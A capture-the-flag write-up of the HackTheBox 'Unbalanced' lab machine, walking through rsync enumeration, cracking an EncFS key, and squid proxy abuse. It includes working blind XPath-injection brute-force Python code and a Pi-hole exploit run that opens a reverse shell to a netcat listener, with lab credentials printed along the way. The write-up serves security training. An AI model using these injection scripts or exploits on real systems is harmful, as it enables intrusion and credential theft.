![[machine avatar]](https://www.hackthebox.eu/storage/avatars/a6decd9e6fc0f628974ea0d691424be7.png)
HackTheBox Unbalanced - Writeup
OS: | Linux |
Release Date: | 2020/08/01 19:00 |
Points: | 40 |
Difficulty: | Medium |
~ User Part
The nmap scan shows an open ssh
port, and two other services running:
rsync
and squid
proxy.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
| 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp open rsync (protocol version 31)
3128/tcp open http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Beginning with the rsync
port, we find this article explaining the enumeration and
exploitation of this service. Unfortunately, the nmap script rsync-list-modules
did not give more information than the nmap scan, we
issued before. But we can connect via nc and try to find out something manually. After we connect, we need to wait for the server to send it's rsync banner.
After that, we send the banner back and can issue some commands:
@RSYNCD: 31.0
@RSYNCD: 31.0
#list
conf_backups EncFS-encrypted configuration backups
@RSYNCD: EXIT
Total received bytes: 82
Total sent bytes: 20
Next we can download the rsync directory using it's command:
./
,CBjPJW4EGlcqwZW4nmVqBA6
-FjZ6-6,Fa,tMvlDsuVAO7ek
.encfs6.xml
(...)
waEzfb8hYE47wHeslfs1MvYdVxqTtQ8XGshJssXMmvOsZLhtJWWRX31cBfhdVygrCV5
sent 1,452 bytes received 411,990 bytes 35,951.48 bytes/sec
total size is 405,603 speedup is 0.98
We got an encrypted rsync drive. Luckily, the .encfs6.xml
file is included, it contains the hashed key used for encryption/decryption.
We can crack this key using john:
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 XOP 4x2 AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bubblegum (conf_backups/)
1g 0:00:00:46 DONE (2020-08-08 12:25) 0.02158g/s 51.12p/s 51.12c/s 51.12C/s chacha..delfin
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Using the cracked password, we can now decrypt the encfs
folder, which reveals a lot of configuration files.
Note, the encfs command requires absolute paths here.
The only relevant config file seems to be the squid.conf
file. It contains many line comments,
so filtering them gives us the following lines:
(...)
acl Safe_ports port 777 # multiling http
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow manager
include /etc/squid/conf.d/*
http_access allow localhost
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern . 0 20% 4320
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
cache disable
First of all, cachemgr_passwd
is set with a password and a list of commands, which we are allowed to use.
Secondly, the http_access
and acl
directives tell us, where we are allowed to connect to.
That's the domain intranet.unbalanced.htb
and the local subnet 172.16.0.0/12
.
We will focus on the cache first using squidclient
, because it might contain sensitive information. The squidclient
is often included in the squid package in your distribution.
FQDNcache Entries In Use: 11
FQDNcache Entries Cached: 8
FQDNcache Requests: 22
FQDNcache Hits: 0
FQDNcache Negative Hits: 6
FQDNcache Misses: 16
FQDN Cache Contents:
Address Flg TTL Cnt Hostnames
127.0.1.1 H -001 2 unbalanced.htb unbalanced
::1 H -001 3 localhost ip6-localhost ip6-loopback
172.31.179.2 H -001 1 intranet-host2.unbalanced.htb
172.31.179.3 H -001 1 intranet-host3.unbalanced.htb
127.0.0.1 H -001 1 localhost
172.17.0.1 H -001 1 intranet.unbalanced.htb
ff02::1 H -001 1 ip6-allnodes
ff02::2 H -001 1 ip6-allrouters
We got a bunch of new domains and we directly see, that one domain is missing: intranet-host1.unbalanced.htb
.
The IP-Address is probably 172.31.179.1
, so we will try to connect to it:
Hmmm.. this seems like a custom message, the host seems to have some security issues. Let's find them using gobuster
!
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://172.31.179.1
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 403,404
[+] Proxy: http://10.10.10.200:3128
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/08/08 12:52:24 Starting gobuster
===============================================================
/css (Status: 301)
/index.php (Status: 200)
/intranet.php (Status: 200)
(...)
===============================================================
2020/08/08 12:55:02 Finished
===============================================================
Configuring our browser to connect through the proxy on http://10.10.10.200:3128
we try to access /intranet.php
,
and indeed, a login page shows up. Doing some basic injection test, we also find out, that ' or '1'='1
as password will give us a list of users,
so the login form is injectable in some kind. sqlmap
somehow doesn't find any vulnerable parameter, so it must be something different.
After some research and trying out different payloads, we find out, that XPath
has a similar syntax. An example query and exploitation
is given on PayloadsAllTheThings, so the query being executed on the server might look like this:
//Employee[Username/text()=' + USERNAME + ' and Password/text()=' + PASSWORD + ']
Using ' or '1'='1
as password, we get some usernames and their roles including the System Administrator bryan.
It looks like, this user is worth to find credentials for. First, we want to know, what the length of his password is. We can use the following python code
to bruteforce the password length:
def findPasswordLength(username):
passwordLen = 1
while True:
res = login(username, "' or string-length(Password)=%d and Username='%s" % (passwordLen, username))
if res.status_code != 200:
print(res, res.text)
exit(1)
if "Invalid credentials." not in res.text:
break
passwordLen += 1
return passwordLen
Next we bruteforce the password char-by-char:
def bruteforcePassword(username, passwordLen):
password = ""
for i in range(passwordLen):
found = False
for x in string.printable:
if x == '\'' or x == '\\' or x.isspace():
continue
res = login(username, "' or substring(Password,%d,1)='%s' and Username='%s" % (i+1,x,username))
if res.status_code != 200:
print(res, res.text)
exit(1)
if "Invalid credentials." not in res.text:
found = True
password += x
print("Password: '%s%s'" % (password, "." * (passwordLen-i-1)))
break
if not found:
print("[-] Password not found")
exit(1)
return password
After we executed the script, the password is printed on the console and we can login with user bryan on the SSH port. The user flag is right in bryan's home directory:
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
(...)
# Root Part
Bryan's home directory also includes a note which points to the way to root:
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]
###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]
So the next steps are probably connected to pihole
.
The local bound ports show up two ports: 8080 and 5553. A curl request confirms, that port 8080 is running
the pi hole admin interface:
LISTEN 0 5 0.0.0.0:873 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.1:5553 0.0.0.0:*
LISTEN 0 32 0.0.0.0:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 [::]:873 [::]:*
LISTEN 0 32 [::]:53 [::]:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:3128 *:*
< HTTP/1.1 302 Found
< Location: /admin
< Content-type: text/html; charset=UTF-8
< Content-Length: 0
< Date: Thu, 13 Aug 2020 11:12:07 GMT
< Server: lighttpd/1.4.45
<
* Connection #0 to host 127.0.0.1 left intact
For further analysis, we will forward the port via ssh tunnel and add the pi.hole
host:
Now we can visit the admin panel via http://pi.hole
. As the note in the TODO file says,
the pi-hole has a temporary admin password, so we are able to login with password admin
.
The footer on the web interface gives us the version being used:
Pi-hole Version v4.3.2 Web Interface Version v4.3 FTL Version v4.3.1. Looking up this version we find a bunch of exploit
scripts on exploit-db.com. I've used this script, because it also gave root permissions on the docker container, where pi-hole is running on:
[+] Creation success, ID is 6!
[!] Binding to 10.10.16.189:80
[+] Yes, we have an incoming connection from 10.10.10.200
[!] Closing Listener
[+] Update succeeded.
[+] This system is vulnerable!
Want to continue with exploitation? (Or just run cleanup)? [y/N]: y
Want root access? (Breaks the application!!) [y/N]: y
[!] Allright, going for the root shell
[!] Binding to 10.10.16.189:80
[+] Yes, we have an incoming connection from 10.10.10.200
[!] Closing Listener
[+] Update succeeded.
[+] Creation success, ID is 7!
[!] Binding to 10.10.16.189:80
[+] Yes, we have an incoming connection from 10.10.10.200
[!] Closing Listener
[+] Update succeeded.
Ok, make sure to have a netcat listener on "10.10.16.189:4444" ("nc -lnvp 4444") and press enter to continue...
[!] Binding to 10.10.16.189:80
[+] Yes, we have an incoming connection from 10.10.10.200
[!] Closing Listener
[+] Update succeeded.
[+] Calling http://pi.hole/admin/scripts/pi-hole/php/fhayaimd.php
[+] Cleaning up now.
[+] Remove success
[+] Cleaning up now.
[+] Remove success
Connection from 10.10.10.200:44680
bash: cannot set terminal process group (526): Inappropriate ioctl for device
bash: no job control in this shell
root@pihole:/var/www/html/admin/scripts/pi-hole/php#
After the exploit succeeded, we can retrieve another password from the root pi-hole configuration:
# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb
# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c
# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1
# Set privacy level
/usr/local/bin/pihole -a -l 4
# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'
# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb
Using this password, we can elevate our privileges on the main host to root and grab the root flag: